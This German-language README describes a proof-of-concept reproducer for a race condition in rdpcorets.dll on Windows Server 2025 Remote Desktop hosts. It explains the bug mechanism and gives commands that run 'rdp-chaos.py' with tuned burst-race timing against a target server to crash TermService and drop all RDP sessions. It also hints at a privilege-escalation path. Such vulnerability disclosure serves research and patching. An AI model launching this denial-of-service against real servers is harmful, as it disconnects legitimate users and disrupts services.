
PoC-Reproduzierer für CVE-2026-50369, eine TOCTOU-Race-Condition in rdpcorets.dll auf Windows Server 2025 RDS-Sitzungs Hosts, die einen TermService-DoS durch RDP-Sitzungstrennung verursacht.
Reproduzierer für eine TOCTOU-Race-Condition in rdpcorets.dll!CRdpPipeGfxPlugin::Enable auf Windows Server 2025 RDS Session Hosts.
Ich habe dies als DoS gemeldet; der Code-Pfad scheint irgendwie auch EoP zu ermöglichen. Dieser Reproduzierer ist ein PoC für den DoS-Pfad allein.
Enable liest einen COM-Schnittstellenzeiger bei this+0x60 zweimal ohne Synchronisation. TerminateInstance löscht dasselbe Feld außerhalb des Gültigkeitsbereichs seiner eigenen kritischen Sektion. Beide werden gleichzeitig im NT-Threadpool über PnP-Geräteankunfts- und -entfernungs-Workitems ausgeführt. Der zweite Lesevorgang dereferenziert null → Zugriffsverletzung → TermService-Absturz → alle aktiven RDP-Sitzungen getrennt.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030